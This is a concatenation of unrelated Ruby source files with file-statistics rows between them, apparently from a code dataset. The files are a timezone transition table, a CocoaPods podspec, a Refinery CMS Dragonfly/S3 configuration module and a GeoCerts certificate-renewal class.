tz.transition 2008, 3, :o2, 1205053200
tz.transition 2008, 11, :o1, 1225612800
tz.transition 2009, 3, :o2, 1236502800
tz.transition 2009, 11, :o1, 1257062400
tz.transition 2010, 3, :o2, 1268557200
tz.transition 2010, 11, :o1, 1289116800
tz.transition 2011, 3, :o2, 1300006800
tz.transition 2011, 11, :o1, 1320566400
tz.transition 2012, 3, :o2, 1331456400
tz.transition 2012, 11, :o1, 1352016000
tz.transition 2013, 3, :o2, 1362906000
tz.transition 2013, 11, :o1, 1383465600
tz.transition 2014, 3, :o2, 1394355600
tz.transition 2014, 11, :o1, 1414915200
tz.transition 2015, 3, :o2, 1425805200
tz.transition 2015, 11, :o1, 1446364800
tz.transition 2016, 3, :o2, 1457859600
tz.transition 2016, 11, :o1, 1478419200
tz.transition 2017, 3, :o2, 1489309200
tz.transition 2017, 11, :o1, 1509868800
tz.transition 2018, 3, :o2, 1520758800
tz.transition 2018, 11, :o1, 1541318400
tz.transition 2019, 3, :o2, 1552208400
tz.transition 2019, 11, :o1, 1572768000
tz.transition 2020, 3, :o2, 1583658000
tz.transition 2020, 11, :o1, 1604217600
tz.transition 2021, 3, :o2, 1615712400
tz.transition 2021, 11, :o1, 1636272000
tz.transition 2022, 3, :o2, 1647162000
tz.transition 2022, 11, :o1, 1667721600
tz.transition 2023, 3, :o2, 1678611600
tz.transition 2023, 11, :o1, 1699171200
tz.transition 2024, 3, :o2, 1710061200
tz.transition 2024, 11, :o1, 1730620800
tz.transition 2025, 3, :o2, 1741510800
tz.transition 2025, 11, :o1, 1762070400
tz.transition 2026, 3, :o2, 1772960400
tz.transition 2026, 11, :o1, 1793520000
tz.transition 2027, 3, :o2, 1805014800
tz.transition 2027, 11, :o1, 1825574400
tz.transition 2028, 3, :o2, 1836464400
tz.transition 2028, 11, :o1, 1857024000
tz.transition 2029, 3, :o2, 1867914000
tz.transition 2029, 11, :o1, 1888473600
tz.transition 2030, 3, :o2, 1899363600
tz.transition 2030, 11, :o1, 1919923200
tz.transition 2031, 3, :o2, 1930813200
tz.transition 2031, 11, :o1, 1951372800
tz.transition 2032, 3, :o2, 1962867600
tz.transition 2032, 11, :o1, 1983427200
tz.transition 2033, 3, :o2, 1994317200
tz.transition 2033, 11, :o1, 2014876800
tz.transition 2034, 3, :o2, 2025766800
tz.transition 2034, 11, :o1, 2046326400
tz.transition 2035, 3, :o2, 2057216400
tz.transition 2035, 11, :o1, 2077776000
tz.transition 2036, 3, :o2, 2088666000
tz.transition 2036, 11, :o1, 2109225600
tz.transition 2037, 3, :o2, 2120115600
tz.transition 2037, 11, :o1, 2140675200
tz.transition 2038, 3, :o2, 19723975, 8
tz.transition 2038, 11, :o1, 14794409, 6
tz.transition 2039, 3, :o2, 19726887, 8
tz.transition 2039, 11, :o1, 14796593, 6
tz.transition 2040, 3, :o2, 19729799, 8
tz.transition 2040, 11, :o1, 14798777, 6
tz.transition 2041, 3, :o2, 19732711, 8
tz.transition 2041, 11, :o1, 14800961, 6
tz.transition 2042, 3, :o2, 19735623, 8
tz.transition 2042, 11, :o1, 14803145, 6
tz.transition 2043, 3, :o2, 19738535, 8
tz.transition 2043, 11, :o1, 14805329, 6
tz.transition 2044, 3, :o2, 19741503, 8
tz.transition 2044, 11, :o1, 14807555, 6
tz.transition 2045, 3, :o2, 19744415, 8
tz.transition 2045, 11, :o1, 14809739, 6
tz.transition 2046, 3, :o2, 19747327, 8
tz.transition 2046, 11, :o1, 14811923, 6
tz.transition 2047, 3, :o2, 19750239, 8
tz.transition 2047, 11, :o1, 14814107, 6
tz.transition 2048, 3, :o2, 19753151, 8
tz.transition 2048, 11, :o1, 14816291, 6
tz.transition 2049, 3, :o2, 19756119, 8
tz.transition 2049, 11, :o1, 14818517, 6
tz.transition 2050, 3, :o2, 19759031, 8
tz.transition 2050, 11, :o1, 14820701, 6
end
end
end
end
end
| 46.58209 | 54 | 0.58304 |
ff2a446facfa9f83c852bc2ecb59b50cdd0e6307
| 559 |
require "json"
package = JSON.parse(File.read(File.join(__dir__, "package.json")))
Pod::Spec.new do |s|
s.name = package["name"]
s.version = package["version"]
s.summary = package["description"]
s.license = package["license"]
s.author = "David Chavez"
s.homepage = package["repository"]["url"]
s.platform = :ios, "11.0"
s.source = { :git => package["repository"]["url"], :tag => "v#{s.version}" }
s.source_files = "ios/**/*.{h,m,swift}"
s.swift_version = "4.2"
s.dependency "React-Core"
s.dependency "SwiftAudioEx", "0.15.2"
end
| 24.304348 | 78 | 0.631485 |
d57c8c45efd459e6322b2314c22f22bf7485c828
| 3,774 |
module Refinery
module Dragonfly
class << self
def configure!(extension)
::ActiveRecord::Base.extend ::Dragonfly::Model
::ActiveRecord::Base.extend ::Dragonfly::Model::Validations
::Dragonfly.app(extension.dragonfly_name).configure do
datastore :file, {root_path: extension.dragonfly_datastore_root_path}
plugin extension.dragonfly_plugin if extension.dragonfly_plugin
secret extension.dragonfly_secret
if extension.dragonfly_custom_datastore?
datastore extension.dragonfly_custom_datastore_class.new(extension.dragonfly_custom_datastore_opts)
end
url_format extension.dragonfly_url_format
url_host extension.dragonfly_url_host
url_path_prefix extension.dragonfly_url_path_prefix
allow_legacy_urls extension.dragonfly_allow_legacy_urls
dragonfly_url extension.dragonfly_dragonfly_url
fetch_file_whitelist extension.dragonfly_fetch_file_whitelist
fetch_url_whitelist extension.dragonfly_fetch_url_whitelist
response_header extension.dragonfly_response_header
verify_urls extension.dragonfly_verify_urls
# These options require a name and block
define_url extension.dragonfly_define_url if extension.dragonfly_define_url.present?
before_serve extension.dragonfly_before_serve if extension.dragonfly_before_serve.present?
# There can be more than one instance of each of these options.
extension.dragonfly_mime_types.each do |mt|
mime_type mt[:ext], mt[:mimetype]
end
extension.dragonfly_analysers.each do |a|
analyser a[:name], a[:block]
end unless extension.dragonfly_analysers.blank?
extension.dragonfly_generators.each do |g|
generator g[:name], g[:block]
end unless extension.dragonfly_generators.blank?
extension.dragonfly_processors.each do |p|
processor p[:name], p[:block]
end unless extension.dragonfly_processors.blank?
if extension.s3_datastore
require 'dragonfly/s3_data_store'
datastore :s3,{
access_key_id: extension.s3_access_key_id,
datastore: extension.s3_datastore,
bucket_name: extension.s3_bucket_name,
fog_storage_options: extension.s3_fog_storage_options,
region: extension.s3_region,
root_path: extension.s3_root_path,
secret_access_key: extension.s3_secret_access_key,
storage_path: extension.s3_storage_path,
storage_headers: extension.s3_storage_headers,
url_host: extension.s3_url_host,
url_scheme: extension.s3_url_scheme,
use_iam_profile: extension.s3_use_iam_profile
}
end
end
end
def attach!(app, extension)
# Injects Dragonfly::Middleware into the stack
if defined?(::Rack::Cache)
unless app.config.action_controller.perform_caching && app.config.action_dispatch.rack_cache
app.config.middleware.insert 0, ::Rack::Cache, {
verbose: extension.dragonfly_cache_log_level =='verbose',
metastore: URI.encode("file:#{extension.dragonfly_cache_store_root}/meta"), # URI encoded in case of spaces
entitystore: URI.encode("file:#{extension.dragonfly_cache_store_root}/body")
}
end
app.config.middleware.insert_after ::Rack::Cache, ::Dragonfly::Middleware, extension.dragonfly_name
else
app.config.middleware.use ::Dragonfly::Middleware, extension.dragonfly_name
end
end
end
end
end
| 39.3125 | 121 | 0.67753 |
18ee81078da8321d4e57583b0f7a315dfb882ef9
| 665 |
module GeoCerts
class Order < ApiObject
##
# Organizes any renewal information received back about an Order.
#
class RenewalInformation
attr_accessor :months,
:serial_number,
:geotrust_order_id,
:expires_at
attr_reader :indicator
def initialize(attributes = {})
attributes.each_pair do |name, value|
send("#{name}=", value) if respond_to?(name)
end
end
def indicator=(input) # :nodoc:
@indicator = !!(input =~ /true/i)
end
alias :indicator? :indicator
end
end
end
| 20.78125 | 69 | 0.530827 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.